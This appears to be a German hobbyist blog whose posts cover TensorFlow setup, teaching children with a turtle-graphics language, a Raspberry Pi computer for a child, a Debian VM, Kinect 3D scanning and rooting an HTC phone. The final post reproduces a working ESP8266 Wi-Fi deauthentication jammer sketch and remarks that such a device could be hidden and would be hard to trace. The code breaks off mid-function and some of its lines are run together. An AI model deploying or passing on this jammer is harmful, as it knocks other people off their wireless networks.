Deep Learning: Erste Schritte mit tensorFlow

Die Firma Google beschäftigt sich sehr viel im Bereich KI und da im Speziellen mit Deep Learning Algorithmen. Dabei ist mal wiedre ein Abfallprodukt entstanden, das sie der Allgemeinheit zur Verfügung gestellt hat, nämlcih die Bibliothek tensorFlow. Mit Hilfe dieser Bibliothek realisiert Google viele Projekte im KI Bereich, wie verbesserte Übersetzung von Texten oder das Spiel GO. Mit letzterem haben Sie sogar bewiesen, dass sie ziemlich Erfolgreich in dem Thema unterwegs sind.

Will man sich nun etwas näher mit Deep Learning und Neuronalen Netzen auseinandersetzen, hilft einem diese Bibliothek weiter, da sie viele Algorithmen und Datenstrukturen bereits enthält. Ein mehrschichtiges Neuronales Netz kann durch eine Matrix repräsentiert werden. Komplexere Netze in einer dreidimensionalen Matrix, sogenannte Tensoren. Diese werden in tensorFlow in einer einem Grafen mit Operatoren verknüpft. Dabei entsprechen Knoten den (Tensor) Operatoren und Verbindungen dem Datenfluss. So entsteht der Name tensorFlow.

Um tensorFlow zum Laufen zu bekommen, muss erst einmal eine aktuelle Version von Python 3.6 installiert werden. Nach der Installation steht das python install program pip zur Verfügung. Sollte ein Proxy benötigt werden, so muss vorher die Umgebungsvariable https_proxy=http://web-proxy.mydomain.com:port gesetzt sein. Alle nachfolgenden Befehle werden in einer Shell ausgeführt. Sinnvoll ist es python Bibliotheken in einer virtuellen Umgebung zu installieren. Deswegen holen wir erstmal die Bibliothek pip install virtualenv.  Nach deren Installation soll ein neues Arbeitsverzeichnis tf angelegt werden in dem wir arbeiten werden, richten es mit virtualenv tf ein und aktivieren es mit tf\Scripts\activate (Linux: source tf/bin/activate). In dem nun aktuellen Kommandofenster kann mit pip install tensorflow die Software tensorFlow installiert werden ohne andere Python Installationen zu beeinflussen. mit deactivate geht es wieder zurück. Mit pip install tensorflow-gpu wird eine GPU-Beschleunigte Variante installiert. Dies setzt eine installierte CUDA und CUDA Bibliothek und eine NVIDIA Grafikkarte vorraus.

Mit dem kleinen Python Programm kann man testen, ob tensorFlow funktioniert:

import tensorflow as tf
hello = tf.constant('Hello World')
sess = tf.Session()
print(sess.run(hello))

Das Programm in eine Datei in tfTest.py speichern und in der Kommandozeile mit python tfTest.py starten. Wenn der Text Hallo World erscheint, ist tensorFlow richtig installiert worden.

Links:
https://www.python.org/downloads/
https://de.wikipedia.org/wiki/Tensor
https://www.tensorflow.org/
https://github.com/tensorflow/tensorflow
http://developer.nvidia.com/cuda-downloads
http://docs.nvidia.com/cuda/cuda-installation-guide-microsoft-windows/index.html

Advertisements

Programmieren mit Kindern

Ich hatte neulich die Diskussion, ob es sinnvoll ist mit seinen Kindern gleich den C/C++ und GNU Compiler zu verwenden, um so typische EInsteigerprogramme, wie Hallo World zu schreiben. Das ist im Prinzip so, wie ich damals angefangen habe. Aber ich weiss nicht, ob man damit wirklich das Programmieren lernt. So mächtige Programmierwerkzeuge sind doch eher sehr abstrakt und am Ende kämpft man eher mit dem Compiler als mit der Lösung von Programmieraufgaben. Auch sind die Wege bis zu einem sichtbaren, für Kinder interessantem Programm lang und weit und wenig verständlich.

Meine Idee war erstmal mit Scratch zu beginnen. Allerdings ist das doch zuviel für kleiner Kinder und es wird gleich etwas unübersichtlich. Aber es gab ja schon einmal eine Programmiersprache Logo aus den 60ern, die sehr gut geeignet war zum Programmiereinstieg. Hier bewegt man eine Schildkröte (Turtle) über eine weisse Fläche. Diese Schildkröte hat einen Stift, den man zum Malen einsetzen kann. Der Vorteil an dem Ganzen ist, dass man gleich sieht was man macht. So kann man sich ganz auf das Programmieren an sich stürzen. Auch ist der Befehlssatz nicht sehr umfangreich aber ausreichend genug, um interessante Dinge damit anstellen zu können. Das Wichtigste dürfte man als Kind beim Programmieren hier lernen, einen grösseren Sachverhalt in kleinere Teilprobleme soweit zu zerlegen, dass sie mit der Sprache abgebildet werden können. Damit man sich nicht irgendwo her einen Logo Compiler installieren muss, gibt es eine gute Webseite von Code-Your-Life. Hier kann ohne grossen SchnickSchnack gleich losgelegt werden. Zur Auswahl steht einmal die grafische Programmierung. Aber man kann sich seine Befehle auch in Form von Pseudocode anzeigen lassen.

Die Sprache enthält alle wichtigen Sprachkonstrukte, wie for, if else, while und die Turtle kann die Aktionen Vorwärts, Rückwärts, Drehen, Stiftauf und Stiftab. Variablen können verwendet werden und wiederholende Aktionen in Funktionen ausgelagert werden.

Ein Aufgabe könnet zB sein, dass die Schildkröte ein Viereck zeichnen soll. Der Gedankensprung ist nun, dass ein Viereck aus vier Geraden besteht, die alle zu 90° aneinender liegen. Somit muss die Schildkröte die Aktion in die EInzelschritte Gehen und Drehen unterteilt werden.

Im Coder sieht das dann so aus

function main() {
  turtle->leftTurn(90)
  turtle->forward(100)
  turtle->leftTurn(90)
  turtle->forward(100)
  turtle->leftTurn(90)
  turtle->forward(100)
}

Der nächste Chritt wäre es dann die sich wiederholenden Codeteile in eine For-Schleife zusammen zu fassen, um das Programm kleiner zu gestalten.

Jetzt ist das Programm schon viel kürzer und der Coder zeigt es auch an:

function main() {
  for(var i < 4) {
   turtle->forward(100)
   turtle->leftTurn(90)
  }
}

Nun jetzt kann man sich immer weitere Aufgaben ausdenken, die immer komplexer werden.

und der Coder dazu zeigt dann auch das entsprechend an:

function main() {
  var laenge := 100
  pythagorasBaum(laenge)
}
function pythagorasBaum(laenge) {
   zeichneQuadrat(laenge)
   if(laenge > 1.0) {
     turtle->forward(laenge)
     turtle->leftTurn(30)
     var neue_laenge := laenge*0.866
     pythagorasBaum(neue_laenge)
     turtle->rightTurn(90)
     turtle->forward(neue_laenge)
     pythagorasBaum(laenge/2)
     turtle->forward(-neue_laenge)
     turtle->leftTurn(60)
     turtle->forward(-laenge)
   }else {
   }
}
function zeichneQuadrat(laenge) {
   for(var i < 4) {
     turtle->forward(laenge)
     turtle->rightTurn(90)
   }
}

Einen Mangel hat der Interpreter, dass in den Funktionsparametern keine mathematischen Operationen ausgeführt werden können.

Links:
https://de.wikipedia.org/wiki/Logo_(Programmiersprache)
http://www.code-your-life.org/
http://www.code-your-life.org/app2/#/user/defaultUser
http://www.code-your-life.org/Lehrmaterial/mediabase/pdf/2058.pdf

 

Computer für Kinder

Solangsam kommen die Kidds in das Alter, wo sie auch einen Computer haben wollen. Mit dem sie spielen können und surfen und Filme anschauen wollen. Aber alles soll auch stabil sein und sicher und nicht zu teuer, wenn doch mal was kaputt geht.

So hab ich mich bei meinem Jüngsten (6) für einen slebstgebauten Raspberry 3 Rechner entschieden.  Das Display soll ein 5Inch LCD-HDMI Display sein und der Raspberry 3B sitzt hinten drauf. Die Tastatur ist eine kleine Funktastatur mit Touchpad darauf. Da der Raspberry 3B WLan mit dabei hat brauche ich kein eigenes WLan Modul. Das Netzteil ist ein Micro USB Netzteil, dass bei 5V 3A liefern kann. Preislich liegt der Computer bei ca 100€

Installieren:

Zunächst lädt man sich das Betriebssystem RaspBian in einem Image Format herunter. Das Zip File muss ersteinmal entpackt werden. Anschließend kann das Imagefile unter Windows mit einem Imager Programm zB Win32Imager oder Etcher auf eine SD Karte geschrieben werden. Arbeitet man unter Linux, so muss erstmal herausgefunden werden, wo unsere SD Karte liegt. Dies geht mit df -h oder lsblk. Falls die Karte bereits gemountet ist, so muss sie ausgehängt werden mit zB sudo umount /dev/sdb1 . Danach kann das Image einfach bitweise auf das Ziellaufwerk kopiert werden mit sudo dd of=/dev/sdb1 if=/image.img bs=1M

Das Raspbian hat von Haus aus keinen ssh Zugang. Da ich keinen Monitor an dem HDMI Ausgang habe, ist es zum Glück doch möglich diesen zu aktivieren, um alles weitere über das Netzwerk Remote zu installieren. Dazu wird lediglich im Root Verzeichnis des Images auf der SD Karte eine leere Datei mit dem Namen SSH angelegt.

Jetzt kann die SD Karte in den RasPi eingesteckt werden, an ein Netzwerkkabel mit dem Router (zB FritzBox) verbinden und ihn mit Strom versorgt wahlweise über USB Eingang versorgt werden. Im Netzwerkmonitor der FritzBox sieht man das Gerät Raspberry. Dort steht auch die Netzwerkadresse, unter der der RasPi gefunden werden kann. Am Besten ist, man fixiert die zugewiesene Adresse gleich in der FRitzBox. Nun kann unter der IP Adresse per SSH auf das Modul zugegriffen werden. Der LoginName ist pi und das Passwort ist raspberry.

Erstmal WLan einrichten. Dies geht über die Kommandozeile. Mit sudo iwlist wlan0 scan werden alle WLan Stationen aufgelistet und ihre Parameter. Mit wpa_passphrase WLanName WLanPasswort wird ein Text erzeugt, der in die Datei sudo nano /etc/wpa_supplicant/wpa_supplicant.conf kopiert werden soll:

country=DE
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network
={
    ssid=„WLanName“
    scan_ssid=1
proto=RSN
key_mgmt=WPA-PSK
group=CCMP
pairwise=CCMP
    psk=„WLanPassWort“
}

Damit sich das WLan nicht beim Energiesparen ausschaltet muss noch in die Datei sudo nano /etc/network/interfaces das eingetragen werde:

source-directory /etc/network/interfaces.d

auto lo
iface lo inet loopback

iface eth0 inet manual

allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

pre-up iw dev wlan0 set power_save off
post-down iw dev wlan0 set power_save on

Anschließend WLan starten mit sudo ifup wlan0. Zur Kontrolle kann nochmal mit ifconfig wlan0 die bezogene IP Adresse überprüft werden.

In der Datei sudo nano /boot/config.txt werden die notwendigen LCD Settings gemacht:
max_usb_current=1
hdmi_group=2
hdmi_mode=1
hdmi_mode=87
hdmi_cvt 800 480 60 6 0 0 0

In dem RaspiConfig Programm sudo raspi-config sind noch ein paar sinnvolle EInstellungen zu tätigen:
– Advanced Options->Expand Filesystem
– Boot Option->Desktop CLI->Console Autologin

Mit sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get full-upgrade && sudo rpi-update wird die Raspbian Version auf den aktuellen Stand gebracht. Und das Passwort ändern mit passwd ist auch gut.

Benutzer anlegen:
sudo useradd -m benutzername
sudo passwad benutzername
Benutzer die Gruppen eintragen pi, dialout, cdrom, audio, video, plugdev, games, users, input und netdev:
sudo addgroup benutzername Gruppe

Links:
https://www.waveshare.com/wiki/5inch_HDMI_LCD
http://www.waveshare.com/w/upload/0/00/LCD-show-170703.tar.gz
Waveshare 5Inch HDMI LCD 800×480 mit Gehäuse für Raspberry 3
Funktastatur mit Touchpad
Raspberry 3B
microSD Karte 32GB
Micro USB 5V 3A Steckernetzteil

Debian mini System in VirtualBox installieren

So ein kleines Linux System lediglich zum Entwickeln oder CrossCompilen für den Raspi ist sicherlich holfreich. Es muss kein XWindows installiert sein und sonst nicht viel mehr. Hier bietet sich eine Debian Installation unter VirtualBox ganz gut an. Ich hab die Small 32Bit Version genommen. Den benötigten Rest kann man über das Netzwerk nachinstallieren.

VirtualBox installiert und das ISO File ausgewählt. Netzwerksettings in VB auf NAT gestellt und Netzwerkkarte des Host Rechners eingestellt. Dann kann die VB gestartet werden und die Installation beginnt.


Ist Debian nach kurzer Zeit installiert hat man ein ziemlich rudimenteres Betriebssystem. Den Rest muss man nun per Hand einrichten. Wichtig ist erstmal eine Netzwerkverbindung hinzubekommen, um Sachen nachinstallieren zu können. Also erstmal schaun, ob überhaupt ein Netzwerkgerät erkannt wurde: ip address show und ip -s link show. Debian hat die Eigenart die Netzwerkkarte nicht eth0 zu nennen sondern enp0s3. Sitzt man hinter einem Proxy, so muss in der Kommandozeile dieser erstmal gesetzt werden mit export http_proxy=http://Proxy.de:8080. Damit Packetquellen installiert werden können muss in /etc/apt/sources.list noch Repositories hinzugefügt werden wie zB die Zeilen:

deb  http://deb.debian.org/debian stretch main
deb-src  http://deb.debian.org/debian stretch main

deb  http://deb.debian.org/debian stretch-updates main
deb-src  http://deb.debian.org/debian stretch-updates main

deb http://security.debian.org/ stretch/updates main
deb-src http://security.debian.org/ stretch/updates main

zusätzlich für nicht freue Packete:

deb  http://deb.debian.org/debian stretch main contrib non-free
deb-src  http://deb.debian.org/debian stretch main contrib non-free

deb  http://deb.debian.org/debian stretch-updates main contrib non-free
deb-src  http://deb.debian.org/debian stretch-updates main contrib non-free

deb http://security.debian.org/ stretch/updates main contrib non-free
deb-src http://security.debian.org/ stretch/updates main contrib non-free

Die Zeile mit cdrom: kann auskommentiert werden, da wir ab hier nun alles aus dem Netz holen.

Falls es mal Probleme mit dem Netzwerk gibt kann man folgende Dinge überpüfen:

Ist Netzwerkhardware auch erkannt worden: lspci | grep ethe

Stehen die richtigen Sachen auch in der /etc/network/interfaces:
allow-hotplug enp0s3
iface enp0s3 inet dhcp

Ist ein Proxy eingetragen worden:
/etc/apt/apt.conf
#Acquire:http::Proxy „proxy.de:81“

Ist ein nameserver eingetragen: /etc/resolve.conf

Zusätzlich könnte man noch die VB Additionals installieren:
mount /dev/cdrom /mnt
apt-get install bzip2
cd /mnt
./VBoxLinuxAdditions.run

Links:
https://www.virtualbox.org/
https://www.debian.org/distrib/

 

XBox Kinect 360 an PC anschließen für 3D Druck

Ich finde es eine lustige Idee so hin und wieder mal sich oder seine Family in 3D einzuscannen und dann an meinem 3D Drucker auszudrucken. Da 3D Scanner normalerweise sehr teuer sind, hab ich mir eine gebrauchte XBox Kinect 360 gekauft für ca. 30€ und einen Adapter für externe Stromversorgung, um die Kinect an meinen PC anzuschließen. Schließlich hat die Kinect eine Tiefenkamera bereits enthalten.

Jetzt fehlt nur noch die passende Software dazu. Erstmal muss für Windows das SDK für die Kinect installiert werden. Anschließend habe ich noch das Development Toolkit installiert. Damit auch die Tiefenbilder und deren aufgenommenen Z-Tiefen Information richtig im Raum platziert werden können benötigt es eine spezielle Software, die wie bei 2D Aufnahmen die Bilder aneinender fügt (Stitched).

Eine kostenlose Software für den privaten EInsatz ist ReconstructMe. Diese unterstützt auch die Kinect von Haus aus. Allerdings hatte ich Probleme beim Start, da die OpenCl.dll gefehlt hat. Hier hab ich einfach aus meinem NVIDIA Treiber Ordner die OpenCL64.dll verwendet, in den ReconstructMe Ordner kopiert und nach OpenCL.dll umbenannt. Alternativ gibt es auch die Skanect als eingeschränkte oder kostenpflichtige Alternative.

In ReconstructMe muss in den EInstellungen die Kinect V1.0 angegeben werden und das wars auch schon mit den Settings. Dann kann es auch gleich ans Scannen rangehen. Hier ist es leider nicht ganz so leicht, da schnell mal das Programm die Verfolgung und damit ist richtige Positionieren verliert. Ein Helfer ist hier ganz gut, der um einen herumgeht. Die besten Ergebnisse hatte ich, als ich die Kinect festgestellt habe und ich mich auf einen Stuhl gedreht hatte.

Das fertige Ergebnis kann erstmal als obj Datei abgespeichert werden. Allerdings ist es noch nicht ausdruckreif und muss nachbearbeitet werden. Hier bietet sich MeshLab an.

 

Links:
https://www.microsoft.com/en-us/download/details.aspx?id=34808
https://www.microsoft.com/en-us/download/details.aspx?id=34807
http://reconstructme.net/
http://skanect.occipital.com/download/
http://www.meshlab.net/#download

Android HTC One M8 mit LineageOS flashen und rooten

 

Android Gerät Debug Modus aktivieren

  • Unter Einstellungen->Infos->Softwar-Informationen->Mehr gehen
  • Build-Nummer sieben Mal drücken
  • Unter Einstellungen->Entwickleroptionen USB-Debugging aktivieren

Software auf PC unter Windows 10 installieren

Benötigte Android Software herunterladen

ADB testen

  • Android Mobiltelefon über USB an Rechner verbinden
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb devices
  • auf dem Mobiltelefon erscheint eine Nachricht. Diese mit OK bestätigen

Bootloader entsperren

  • Achtung: Alle Daten gehen danach verloren
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb reboot bootloader
  • jetzt startet das Telefon im Fastboot Modus
  • verbindung testen in Kommandozeile: fastboot devices
  • jetzt in der Kommandozeile eingeben: fastboot oem get_identifier_token
  • die in der Kommandozeile erscheinende Nachricht ausschneiden und merken
  • Nun auf der Seite von HTC Unloock den Bootloader entsperren. Dazu muss man sich zuerst registrieren. Anschließend das Telefon in einer Liste auswählen. Und den Schlüssel dort eingeben. Anschließend bekommt man eine Email mit dem Deaktivierungsschlüssel
  • Mit dem Aktivierungsschlüssel aus der EMail mit dem Befehl den Bootloader entsperren: fastboot flash unlocktoken Unlock_code.bin
  • den auf dem Telefon erscheinenden Text bestätigen mit Volumentasten und Powertaste. Danach startet das Telefon neu
  • Sollte der Weg so nicht gehen, so gibt es noch die Möglichkeit über das Tool SunShine das Telefon zu entsperren

Recovery installieren

  • evtentuell muss nach dem Bootloader entsperren der USB Debug Modus neu eingestellt werden.
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb reboot bootloader
  • jetzt startet das Telefon im Fastboot Modus
  • verbindung testen in Kommandozeile: fastboot devices
  • Flashen des Recovery Images: fastboot flash recovery twrp-3.1.1-0-m8.img
  • den Recovery Modus erreicht man, indem man beim Neustart Power und Voluem Down Taste gleichzeitig drückt und dann in dem HBOOT Menu zu Recovery wechselt

LineAgeOS installieren

  • In den Recovery Modus am Telefon wechseln
  • in der Kommandozeile den Befehl eingeben: adb push lineage-14.1-20170824-nightly-m8-signed.zip /sdcard/
  • und für Google Apps: adb push open_gapps-arm-7.1-nano-20170905.zip /sdcard/
  • eventuell vorher eine Backup von Cache, System und Data Partitionen mit dem Recovery TRWP erstellen
  • Partitionen Backup von Cache, System und Data neu formatieren mit Wipe und Advanced Wipe
  • Anschließend im TRWP Menu Install auswählen und in die Datei lineage-14.1-20170824-nightly-m8-signed.zip und flashen starten
  • Danach optional wieder im TRWP Menu Install auswählen und open_gapps-arm-7.1-nano-20170905.zip installieren
  • Anschließend System neu starten
  • Debug Modus in LineAgeOS aktivieren durch 7 Mal drücken unter EInstellungen->Über das Telefon->Build-Nummer und Einstellungen->Entwickleroptionen->AndroidDebugging einschalten
  • Optional zum Rooten  muss noch das su Package installiert werden, wie die oberen Packete über Recovery

Root Rechte einstellen

Falls das su add-on installiert muss es mit den folgenden Schritten aktiviert werden

  • Entwickler Optionen aktivieren: Einstellunge->Über das Telefon->Build-Nummer 7x betätigen
  • Einstellungen->Entwickler optionen->Root Zugriff
  • Nur Apps oder Apps und ADB auswählen

 

Links:
https://wiki.lineageos.org/adb_fastboot_guide.html
https://dl.google.com/android/repository/platform-tools-latest-windows.zip
https://github.com/koush/UniversalAdbDriver
https://adb.clockworkmod.com/
http://download.clockworkmod.com/test/UniversalAdbDriverSetup.msi
https://download.lineageos.org/m8
https://wiki.lineageos.org/devices/m8/install
http://www.htcdev.com/bootloader/
https://twrp.me/devices/htconem8gsm.html
https://eu.dl.twrp.me/m8/
https://wiki.lineageos.org/gapps.html
http://theroot.ninja/

 

Spass-Ärger mit ESP8266: W-Lan Jammer

Eigentlich ist ja der ESP8266 ein wunderbares kleines Tool für IoT Spielereien und Anwendungen. Aber selbstverständlich war es nur eine Frage der Zeit, bis das kleine Teil auch als WLAN Hacker Tool Verwendung findet.

Das unten stehende Programm erzeugt ein DeAuth Wifi Signal und verursacht eine Unterbrechung des WLan Signals. Es ist wirklich ärgerlich, wenn man das Programm auf einen ESP-7 oder ESP-12 schiebt, diesen mit einer kleinen 3,6V Knopfzelle versieht und irgendwo versteckt. Die Störquelle dürfte nur schwer aufzuspühren sein. Also nicht lustig !!!

Links:
https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
https://github.com/RandDruid/esp8266-deauth

// Expose Espressif SDK functionality - wrapped in ifdef so that it still
// compiles on other platforms
#ifdef ESP8266
extern "C" {
#include "user_interface.h"
}
#endif

#include <ESP8266WiFi.h>

#define ETH_MAC_LEN 6
#define MAX_APS_TRACKED 100
#define MAX_CLIENTS_TRACKED 200

// Put Your devices here, system will skip them on deauth
#define WHITELIST_LENGTH 2
uint8_t whitelist[WHITELIST_LENGTH][ETH_MAC_LEN] = { { 0x77, 0xEA, 0x3A, 0x8D, 0xA7, 0xC8 }, {  0x40, 0x65, 0xA4, 0xE0, 0x24, 0xDF } };

// Declare to whitelist STATIONs ONLY, otherwise STATIONs and APs can be whitelisted
// If AP is whitelisted, all its clients become automatically whitelisted
//#define WHITELIST_STATION 

// Channel to perform deauth
uint8_t channel = 0;

// Packet buffer
uint8_t packet_buffer[64];

// DeAuth template
uint8_t template_da[26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};

uint8_t broadcast1[3] = { 0x01, 0x00, 0x5e };
uint8_t broadcast2[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
uint8_t broadcast3[3] = { 0x33, 0x33, 0x00 };

struct beaconinfo
{
  uint8_t bssid[ETH_MAC_LEN];
  uint8_t ssid[33];
  int ssid_len;
  int channel;
  int err;
  signed rssi;
  uint8_t capa[2];
};

struct clientinfo
{
  uint8_t bssid[ETH_MAC_LEN];
  uint8_t station[ETH_MAC_LEN];
  uint8_t ap[ETH_MAC_LEN];
  int channel;
  int err;
  signed rssi;
  uint16_t seq_n;
};

beaconinfo aps_known[MAX_APS_TRACKED];                    // Array to save MACs of known APs
int aps_known_count = 0;                                  // Number of known APs
int nothing_new = 0;
clientinfo clients_known[MAX_CLIENTS_TRACKED];            // Array to save MACs of known CLIENTs
int clients_known_count = 0;                              // Number of known CLIENTs

bool friendly_device_found = false;
uint8_t *address_to_check;

struct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)
{
  struct beaconinfo bi;
  bi.ssid_len = 0;
  bi.channel = 0;
  bi.err = 0;
  bi.rssi = rssi;
  int pos = 36;

  if (frame[pos] == 0x00) {
    while (pos < framelen) {
      switch (frame[pos]) {
        case 0x00: //SSID
          bi.ssid_len = (int) frame[pos + 1];
          if (bi.ssid_len == 0) {
            memset(bi.ssid, '\x00', 33);
            break;
          }
          if (bi.ssid_len < 0) {             bi.err = -1;             break;           }           if (bi.ssid_len > 32) {
            bi.err = -2;
            break;
          }
          memset(bi.ssid, '\x00', 33);
          memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);
          bi.err = 0;  // before was error??
          break;
        case 0x03: //Channel
          bi.channel = (int) frame[pos + 2];
          pos = -1;
          break;
        default:
          break;
      }
      if (pos < 0) break;       pos += (int) frame[pos + 1] + 2;     }   } else {     bi.err = -3;   }   bi.capa[0] = frame[34];   bi.capa[1] = frame[35];   memcpy(bi.bssid, frame + 10, ETH_MAC_LEN);   return bi; } struct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel) {   struct clientinfo ci;   ci.channel = channel;   ci.err = 0;   ci.rssi = rssi;   int pos = 36;   uint8_t *bssid;   uint8_t *station;   uint8_t *ap;   uint8_t ds;   ds = frame[1] & 3;    //Set first 6 bits to 0   switch (ds) {     // p[1] - xxxx xx00 => NoDS   p[4]-DST p[10]-SRC p[16]-BSS
    case 0:
      bssid = frame + 16;
      station = frame + 10;
      ap = frame + 4;
      break;
    // p[1] - xxxx xx01 => ToDS   p[4]-BSS p[10]-SRC p[16]-DST
    case 1:
      bssid = frame + 4;
      station = frame + 10;
      ap = frame + 16;
      break;
    // p[1] - xxxx xx10 => FromDS p[4]-DST p[10]-BSS p[16]-SRC
    case 2:
      bssid = frame + 10;
      // hack - don't know why it works like this...
      if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {
        station = frame + 16;
        ap = frame + 4;
      } else {
        station = frame + 4;
        ap = frame + 16;
      }
      break;
    // p[1] - xxxx xx11 => WDS    p[4]-RCV p[10]-TRM p[16]-DST p[26]-SRC
    case 3:
      bssid = frame + 10;
      station = frame + 4;
      ap = frame + 4;
      break;
  }

  memcpy(ci.station, station, ETH_MAC_LEN);
  memcpy(ci.bssid, bssid, ETH_MAC_LEN);
  memcpy(ci.ap, ap, ETH_MAC_LEN);

  ci.seq_n = frame[23] * 0xFF + (frame[22] & 0xF0);

  return ci;
}

int register_beacon(beaconinfo beacon)
{
  int known = 0;   // Clear known flag
  for (int u = 0; u < aps_known_count; u++)   {     if (! memcmp(aps_known[u].bssid, beacon.bssid, ETH_MAC_LEN)) {       known = 1;       break;     }   // AP known => Set known flag
  }
  if (! known)  // AP is NEW, copy MAC to array and return it
  {
    memcpy(&aps_known[aps_known_count], &beacon, sizeof(beacon));
    aps_known_count++;

    if ((unsigned int) aps_known_count >=
        sizeof (aps_known) / sizeof (aps_known[0]) ) {
      Serial.printf("exceeded max aps_known\n");
      aps_known_count = 0;
    }
  }
  return known;
}

int register_client(clientinfo ci)
{
  int known = 0;   // Clear known flag
  for (int u = 0; u < clients_known_count; u++)   {     if (! memcmp(clients_known[u].station, ci.station, ETH_MAC_LEN)) {       known = 1;       break;     }   }   if (! known)   {     memcpy(&clients_known[clients_known_count], &ci, sizeof(ci));     clients_known_count++;     if ((unsigned int) clients_known_count >=
        sizeof (clients_known) / sizeof (clients_known[0]) ) {
      Serial.printf("exceeded max clients_known\n");
      clients_known_count = 0;
    }
  }
  return known;
}

void print_beacon(beaconinfo beacon)
{
  if (beacon.err != 0) {
    //Serial.printf("BEACON ERR: (%d)  ", beacon.err);
  } else {
    Serial.printf("BEACON: [%32s]  ", beacon.ssid);
    for (int i = 0; i < 6; i++) Serial.printf("%02x", beacon.bssid[i]);
    Serial.printf("   %2d", beacon.channel);
    Serial.printf("   %4d\r\n", beacon.rssi);
  }
}

void print_client(clientinfo ci)
{
  int u = 0;
  int known = 0;   // Clear known flag
  if (ci.err != 0) {
  } else {
    Serial.printf("CLIENT: ");
    for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.station[i]);
    Serial.printf(" works with: ");
    for (u = 0; u < aps_known_count; u++)     {       if (! memcmp(aps_known[u].bssid, ci.bssid, ETH_MAC_LEN)) {         Serial.printf("[%32s]", aps_known[u].ssid);         known = 1;         break;       }   // AP known => Set known flag
    }
    if (! known)  {
      Serial.printf("%22s", " ");
      for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.bssid[i]);
    }

    Serial.printf("%5s", " ");
    for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.ap[i]);
    Serial.printf("%5s", " ");

    if (! known) {
      Serial.printf("   %3d", ci.channel);
    } else {
      Serial.printf("   %3d", aps_known[u].channel);
    }
    Serial.printf("   %4d\r\n", ci.rssi);
  }
}

/* ==============================================
   Promiscous callback structures, see ESP manual
   ============================================== */

struct RxControl {
  signed rssi: 8;
  unsigned rate: 4;
  unsigned is_group: 1;
  unsigned: 1;
  unsigned sig_mode: 2;
  unsigned legacy_length: 12;
  unsigned damatch0: 1;
  unsigned damatch1: 1;
  unsigned bssidmatch0: 1;
  unsigned bssidmatch1: 1;
  unsigned MCS: 7;
  unsigned CWB: 1;
  unsigned HT_length: 16;
  unsigned Smoothing: 1;
  unsigned Not_Sounding: 1;
  unsigned: 1;
  unsigned Aggregation: 1;
  unsigned STBC: 2;
  unsigned FEC_CODING: 1;
  unsigned SGI: 1;
  unsigned rxend_state: 8;
  unsigned ampdu_cnt: 8;
  unsigned channel: 4;
  unsigned: 12;
};

struct LenSeq {
  uint16_t length;
  uint16_t seq;
  uint8_t  address3[6];
};

struct sniffer_buf {
  struct RxControl rx_ctrl;
  uint8_t buf[36];
  uint16_t cnt;
  struct LenSeq lenseq[1];
};

struct sniffer_buf2 {
  struct RxControl rx_ctrl;
  uint8_t buf[112];
  uint16_t cnt;
  uint16_t len;
};

/* Creates a packet.

   buf - reference to the data array to write packet to;
   client - MAC address of the client;
   ap - MAC address of the acces point;
   seq - sequence number of 802.11 packet;

   Returns: size of the packet
*/
uint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)
{
  int i = 0;

  memcpy(buf, template_da, 26);
  // Destination
  memcpy(buf + 4, c, ETH_MAC_LEN);
  // Sender
  memcpy(buf + 10, ap, ETH_MAC_LEN);
  // BSS
  memcpy(buf + 16, ap, ETH_MAC_LEN);
  // Seq_n
  buf[22] = seq % 0xFF;
  buf[23] = seq / 0xFF;

  return 26;
}

/* Sends deauth packets. */
void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
{
  uint8_t i = 0;
  uint16_t sz = 0;
  for (i = 0; i < 0x10; i++) {     sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i);     wifi_send_pkt_freedom(packet_buffer, sz, 0);     delay(1);   } } void promisc_cb(uint8_t *buf, uint16_t len) {   int i = 0;   uint16_t seq_n_new = 0;   if (len == 12) {     struct RxControl *sniffer = (struct RxControl*) buf;   } else if (len == 128) {     struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;     struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
    if (register_beacon(beacon) == 0) {
      print_beacon(beacon);
      nothing_new = 0;
    }
  } else {
    struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
    //Is data or QOS?
    if ((sniffer->buf[0] == 0x08) || (sniffer->buf[0] == 0x88)) {
      struct clientinfo ci = parse_data(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);
      if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {
        if (register_client(ci) == 0) {
          print_client(ci);
          nothing_new = 0;
        }
      }
    }
  }
}

bool check_whitelist(uint8_t *macAdress){
  unsigned int i=0;
